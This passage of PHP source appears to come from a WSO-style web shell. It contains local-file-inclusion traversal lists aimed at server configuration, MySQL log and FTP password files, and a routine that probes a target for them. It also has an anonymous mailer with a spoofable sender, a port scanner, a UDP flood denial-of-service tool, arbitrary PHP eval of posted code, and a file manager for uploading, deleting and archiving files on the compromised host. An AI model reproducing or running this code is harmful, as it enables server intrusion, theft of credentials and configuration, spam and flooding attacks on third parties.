  591. 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
  592. 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
  593. 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
  594. 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
  595. 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
  596. 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
  597. 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
  598. 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
  599.  
  600. $lfiphpini = array(
  601. 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
  602. 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
  603. 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
  604. 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
  605. 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
  606. 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
  607. 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
  608. 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
  609. 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
  610. 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
  611. 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
  612. 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
  613. 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
  614. 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
  615. 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
  616. 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
  617. 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
  618. 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
  619. 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
  620. 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
  621. 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
  622. 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
  623. 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
  624. 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
  625. 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
  626. 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
  627. 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
  628.  
  629. $lfimysql = array(
  630. 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
  631. 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
  632. 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
  633. 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
  634. 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
  635. 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
  636. 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
  637. 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
  638. 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
  639. 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
  640.  
  641. $lfiftp = array(
  642. 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
  643. 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
  644. 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
  645. 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
  646. 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
  647. 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
  648. 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
  649. 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
  650. 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
  651. 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
  652. 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
  653. 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
  654. 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
  655. 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
  656. 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
  657. 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
  658. 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
  659. 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
  660. 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
  661. 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
  662. 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
  663. 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
  664. 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
  665. 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
  666. 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
  667. 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
  668. 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
  669. 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
  670. 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
  671. 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
  672. 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
  673. 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
  674. 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
  675. 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
  676. 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
  677. 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
  678. 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
  679. 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
  680. 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
  681. 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
  682. 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
  683. 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
  684. 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
  685. 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
  686.  
  687.  
  688. $x = 1;
  689. if ( $type == 1 ) {
  690. $res1 = FetchURL($target.$lfitest);
  691. $res2 = FetchURL($target.$lfitest2);
  692. $rhash1 = md5($res1);
  693. $rhash2 = md5($res2);
  694. if ($rhash1 != $rhash2) {
  695. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  696. while($lfiaccess[$x]) {
  697. $res3 = FetchURL($target.$lfiaccess[$x]);
  698. $rhash3 = md5($res3);
  699. if ($rhash3 != $rhash2) {
  700. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
  701. }
  702. else {
  703. print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
  704. }
  705. $x++;
  706. }
  707. }
  708. }
  709. if ( $type == 2 ) {
  710. $res1 = FetchURL($target.$lfitest);
  711. $res2 = FetchURL($target.$lfitest2);
  712. $rhash1 = md5($res1);
  713. $rhash2 = md5($res2);
  714. if ($rhash1 != $rhash2) {
  715. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  716. while($lficonfig[$x]) {
  717. $res3 = FetchURL($target.$lficonfig[$x]);
  718. $rhash3 = md5($res3);
  719. if ($rhash3 != $rhash2) {
  720. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
  721. }
  722. else {
  723. print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
  724. }
  725. $x++;
  726. }
  727. }
  728. }
  729. if ( $type == 3 ) {
  730. $res1 = FetchURL($target.$lfitest);
  731. $res2 = FetchURL($target.$lfitest2);
  732. $rhash1 = md5($res1);
  733. $rhash2 = md5($res2);
  734. if ($rhash1 != $rhash2) {
  735. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  736. while($lfierror[$x]) {
  737. $res3 = FetchURL($target.$lfierror[$x]);
  738. $rhash3 = md5($res3);
  739. if ($rhash3 != $rhash2) {
  740. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
  741. }
  742. else {
  743. print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
  744. }
  745. $x++;
  746. }
  747. }
  748. }
  749. if ( $type == 4 ) {
  750. $res1 = FetchURL($target.$lfitest);
  751. $res2 = FetchURL($target.$lfitest2);
  752. $rhash1 = md5($res1);
  753. $rhash2 = md5($res2);
  754. if ($rhash1 != $rhash2) {
  755. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  756. while($lfiphpini[$x]) {
  757. $res3 = FetchURL($target.$lfiphpini[$x]);
  758. $rhash3 = md5($res3);
  759. if ($rhash3 != $rhash2) {
  760. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
  761. }
  762. else {
  763. print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
  764. }
  765. $x++;
  766. }
  767. }
  768. }
  769. if ( $type == 5 ) {
  770. $res1 = FetchURL($target.$lfitest);
  771. $res2 = FetchURL($target.$lfitest2);
  772. $rhash1 = md5($res1);
  773. $rhash2 = md5($res2);
  774. if ($rhash1 != $rhash2) {
  775. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  776. while($lfimysql[$x]) {
  777. $res3 = FetchURL($target.$lfimysql[$x]);
  778. $rhash3 = md5($res3);
  779. if ($rhash3 != $rhash2) {
  780. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
  781. }
  782. else {
  783. print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
  784. }
  785. $x++;
  786. }
  787. }
  788. }
  789. if ( $type == 6 ) {
  790. $res1 = FetchURL($target.$lfitest);
  791. $res2 = FetchURL($target.$lfitest2);
  792. $rhash1 = md5($res1);
  793. $rhash2 = md5($res2);
  794. if ($rhash1 != $rhash2) {
  795. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  796. while($lfiftp[$x]) {
  797. $res3 = FetchURL($target.$lfiftp[$x]);
  798. $rhash3 = md5($res3);
  799. if ($rhash3 != $rhash2) {
  800. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
  801. }
  802. else {
  803. print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
  804. }
  805. $x++;
  806. }
  807. }
  808. }
  809. if ( $type == 7 ) {
  810. $res1 = FetchURL($target.$lfitest);
  811. $res2 = FetchURL($target.$lfitest2);
  812. $rhash1 = md5($res1);
  813. $rhash2 = md5($res2);
  814. if ($rhash1 != $rhash2) {
  815. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
  816. $res3 = FetchURL($target.$lfiprocenv);
  817. $rhash3 = md5($res3);
  818. if ($rhash3 != $rhash2) {
  819. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
  820. }
  821. else {
  822. print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
  823. }
  824. }
  825. }
  826. }
  827. }
  828. wsoFooter();
  829. }
  830. function actionphptools() {
  831. wsoHeader();
  832. ?><center><?php
  833. //mailer
  834. echo '<b>Mailer</b><br>
  835. <form action="'.$surl.'" method=POST>
  836. <input type="hidden" name="a" value="phptools">
  837. <input type=text name=to value=to><br>
  838. <input type=text name=from value=from><br>
  839. <input type=text name=subject value=subject><br>
  840. <input type=text name=body value=body><br>
  841. <input type=submit name=submit value=Submit></form>';
  842. if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
  843. $headers = 'From: '.$_POST['from'];
  844. mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
  845. echo 'Email sent.';
  846. }
  847.  
  848.  
  849. ///---------------------------------------------------------------------------\
  850. //|Lame port scanner |
  851. //|needs alot of work |
  852. //| |
  853. //| |
  854. //\---------------------------------------------------------------------------/
  855. echo '<br><b>Port Scanner</b><br>';
  856. //takes starting port
  857. $start = strip_tags($_POST['start']);
  858. //takes ending port
  859. $end = strip_tags($_POST['end']);
  860. //takes host address
  861. $host = strip_tags($_POST['host']);
  862.  
  863. //if host is not null and end and start ports and numeric
  864. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  865. //so start at the starting port and end when end port is reached
  866. for($i = $start; $i<=$end; $i++){
  867. //open a connection to remote host on port i
  868. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  869. //if connection is succesfull then echo it is open
  870. if($fp){
  871. echo 'Port '.$i.' is <font color=green>open</font><br>';
  872. }
  873. flush();
  874. }
  875. }else{
  876. ?>
  877. <form action="?" method="POST">
  878. <input type="hidden" name="a" value="phptools">
  879. Host:<br />
  880. <input type="text" name="host" value="localhost"/><br />
  881. Port start:<br />
  882. <input type="text" name="start" value="0"/><br />
  883. Port end:<br />
  884. <input type="text" name="end" value="5000"/><br />
  885. <input type="submit" value="Scan Ports" />
  886. </form>
  887. <?php
  888. }
  889.  
  890. //UDP
  891. if(isset($_POST['host'])&&is_numeric($_POST['time'])){
  892. $pakits = 0;
  893. ignore_user_abort(TRUE);
  894. set_time_limit(0);
  895.  
  896. $exec_time = $_POST['time'];
  897.  
  898. $time = time();
  899. //print "Started: ".time('h:i:s')."<br>";
  900. $max_time = $time+$exec_time;
  901.  
  902. $host = $_POST['host'];
  903.  
  904. for($i=0;$i<65000;$i++){
  905. $out .= 'X';
  906. }
  907. while(1){
  908. $pakits++;
  909. if(time() > $max_time){
  910. break;
  911. }
  912. $rand = rand(1,65000);
  913. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  914. if($fp){
  915. fwrite($fp, $out);
  916. fclose($fp);
  917. }
  918. }
  919. echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
  920. echo '<br><br>
  921. <form action="'.$surl.'" method=POST>
  922. <input type="hidden" name="a" value="phptools">
  923. Host: <input type=text name=host value=localhost>
  924. Length (seconds): <input type=text name=time value=9999>
  925. <input type=submit value=Go></form>';
  926. }else{ echo '<br><b>UDP Flood</b><br>
  927. <form action=? method=POST>
  928. <input type="hidden" name="a" value="phptools">
  929. Host: <br><input type=text name=host value=localhost><br>
  930. Length (seconds): <br><input type=text name=time value=9999><br>
  931. <input type=submit value=Go></form>';
  932. }
  933. ?></center><?php
  934. wsoFooter();}
  935. function actionPhp() {
  936. if(isset($_POST['ajax'])) {
  937. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
  938. ob_start();
  939. eval($_POST['p1']);
  940. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  941. echo strlen($temp), "\n", $temp;
  942. exit;
  943. }
  944. wsoHeader();
  945. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  946. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  947. ob_start();
  948. phpinfo();
  949. $tmp = ob_get_clean();
  950. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  951. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  952. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  953. }
  954. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  955. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  956. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  957. echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  958. if(!empty($_POST['p1'])) {
  959. ob_start();
  960. eval($_POST['p1']);
  961. echo htmlspecialchars(ob_get_clean());
  962. }
  963. echo '</pre></div>';
  964. wsoFooter();
  965. }
  966.  
  967. function actionFilesMan() {
  968. wsoHeader();
  969. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  970. if(!empty($_POST['p1'])) {
  971. switch($_POST['p1']) {
  972. case 'uploadFile':
  973. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  974. echo "Can't upload file!";
  975. break;
  976. case 'mkdir':
  977. if(!@mkdir($_POST['p2']))
  978. echo "Can't create new dir";
  979. break;
  980. case 'delete':
  981. function deleteDir($path) {
  982. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  983. $dh = opendir($path);
  984. while ( ($item = readdir($dh) ) !== false) {
  985. $item = $path.$item;
  986. if ( (basename($item) == "..") || (basename($item) == ".") )
  987. continue;
  988. $type = filetype($item);
  989. if ($type == "dir")
  990. deleteDir($item);
  991. else
  992. @unlink($item);
  993. }
  994. closedir($dh);
  995. @rmdir($path);
  996. }
  997. if(is_array(@$_POST['f']))
  998. foreach($_POST['f'] as $f) {
  999. if($f == '..')
  1000. continue;
  1001. $f = urldecode($f);
  1002. if(is_dir($f))
  1003. deleteDir($f);
  1004. else
  1005. @unlink($f);
  1006. }
  1007. break;
  1008. case 'paste':
  1009. if($_SESSION['act'] == 'copy') {
  1010. function copy_paste($c,$s,$d){
  1011. if(is_dir($c.$s)){
  1012. mkdir($d.$s);
  1013. $h = @opendir($c.$s);
  1014. while (($f = @readdir($h)) !== false)
  1015. if (($f != ".") and ($f != ".."))
  1016. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1017. } elseif(is_file($c.$s))
  1018. @copy($c.$s, $d.$s);
  1019. }
  1020. foreach($_SESSION['f'] as $f)
  1021. copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  1022. } elseif($_SESSION['act'] == 'move') {
  1023. function move_paste($c,$s,$d){
  1024. if(is_dir($c.$s)){
  1025. mkdir($d.$s);
  1026. $h = @opendir($c.$s);
  1027. while (($f = @readdir($h)) !== false)
  1028. if (($f != ".") and ($f != ".."))
  1029. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1030. } elseif(@is_file($c.$s))
  1031. @copy($c.$s, $d.$s);
  1032. }
  1033. foreach($_SESSION['f'] as $f)
  1034. @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  1035. } elseif($_SESSION['act'] == 'zip') {
  1036. if(class_exists('ZipArchive')) {
  1037. $zip = new ZipArchive();
  1038. if ($zip->open($_POST['p2'], 1)) {
  1039. chdir($_SESSION['c']);
  1040. foreach($_SESSION['f'] as $f) {
  1041. if($f == '..')
  1042. continue;
  1043. if(@is_file($_SESSION['c'].$f))
  1044. $zip->addFile($_SESSION['c'].$f, $f);
  1045. elseif(@is_dir($_SESSION['c'].$f)) {
  1046. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  1047. foreach ($iterator as $key=>$value) {
  1048. $zip->addFile(realpath($key), $key);
  1049. }
  1050. }
  1051. }
  1052. chdir($GLOBALS['cwd']);
  1053. $zip->close();
  1054. }
  1055. }
  1056. } elseif($_SESSION['act'] == 'unzip') {
  1057. if(class_exists('ZipArchive')) {
  1058. $zip = new ZipArchive();
  1059. foreach($_SESSION['f'] as $f) {
  1060. if($zip->open($_SESSION['c'].$f)) {
  1061. $zip->extractTo($GLOBALS['cwd']);
  1062. $zip->close();
  1063. }
  1064. }
  1065. }
  1066. } elseif($_SESSION['act'] == 'tar') {
  1067. chdir($_SESSION['c']);
  1068. $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
  1069. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
  1070. chdir($GLOBALS['cwd']);
  1071. }
  1072. unset($_SESSION['f']);
  1073. break;
  1074. default:
  1075. if(!empty($_POST['p1'])) {
  1076. $_SESSION['act'] = @$_POST['p1'];
  1077. $_SESSION['f'] = @$_POST['f'];
  1078. foreach($_SESSION['f'] as $k => $f)
  1079. $_SESSION['f'][$k] = urldecode($f);
  1080. $_SESSION['c'] = @$_POST['c'];
  1081. }
  1082. break;
  1083. }
  1084. }
  1085. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1086. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  1087. global $sort;
  1088. $sort = array('name', 1);
  1089. if(!empty($_POST['p1'])) {
  1090. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  1091. $sort = array($match[1], (int)$match[2]);
  1092. }
  1093. echo "<script>
  1094. function sa() {
  1095. for(i=0;i<d.files.elements.length;i++)
  1096. if(d.files.elements[i].type == 'checkbox')
  1097. d.files.elements[i].checked = d.files.elements[0].checked;
  1098. }
  1099.  
  1100. </script>
  1101. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1102. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1103. $dirs = $files = array();
  1104. $n = count($dirContent);
  1105. for($i=0;$i<$n;$i++) {
  1106. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1107. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1108. $tmp = array('name' => $dirContent[$i],
  1109. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  1110. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  1111. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  1112. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1113. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1114. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1115. );
  1116. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  1117. $files[] = array_merge($tmp, array('type' => 'file'));
  1118. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  1119. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  1120. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  1121. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1122. }
  1123. $GLOBALS['sort'] = $sort;
  1124. function wsoCmp($a, $b) {
  1125. if($GLOBALS['sort'][0] != 'size')
  1126. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1127. else
  1128. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1129. }
  1130. usort($files, "wsoCmp");
  1131. usort($dirs, "wsoCmp");
  1132. $files = array_merge($dirs, $files);
  1133. $l = 0;
  1134. foreach($files as $f) {
  1135. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1136. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1137. $l = $l?0:1;
  1138. }
  1139. echo "<tr><td colspan=7>
  1140.  
  1141. <input type=hidden name=a value='FilesMan'>
  1142. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  1143. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  1144. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1145. if(class_exists('ZipArchive'))
  1146. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  1147. echo "<option value='tar'>Compress (tar.gz)</option>";
  1148. if(!empty($_SESSION['act']) && @count($_SESSION['f']))
  1149. echo "<option value='paste'>Paste / Compress</option>";
  1150. echo "</select>&nbsp;";
  1151. if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
  1152. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  1153. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  1154. wsoFooter();
  1155. }
  1156.  
  1157. function actionStringTools() {
  1158. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1159. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1160. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1161. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  1162. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1163. $stringTools = array(
  1164. 'Base64 encode' => 'base64_encode',
  1165. 'Base64 decode' => 'base64_decode',
  1166. 'Url encode' => 'urlencode',
  1167. 'Url decode' => 'urldecode',
  1168. 'Full urlencode' => 'full_urlencode',
  1169. 'md5 hash' => 'md5',
  1170. 'sha1 hash' => 'sha1',
  1171. 'crypt' => 'crypt',
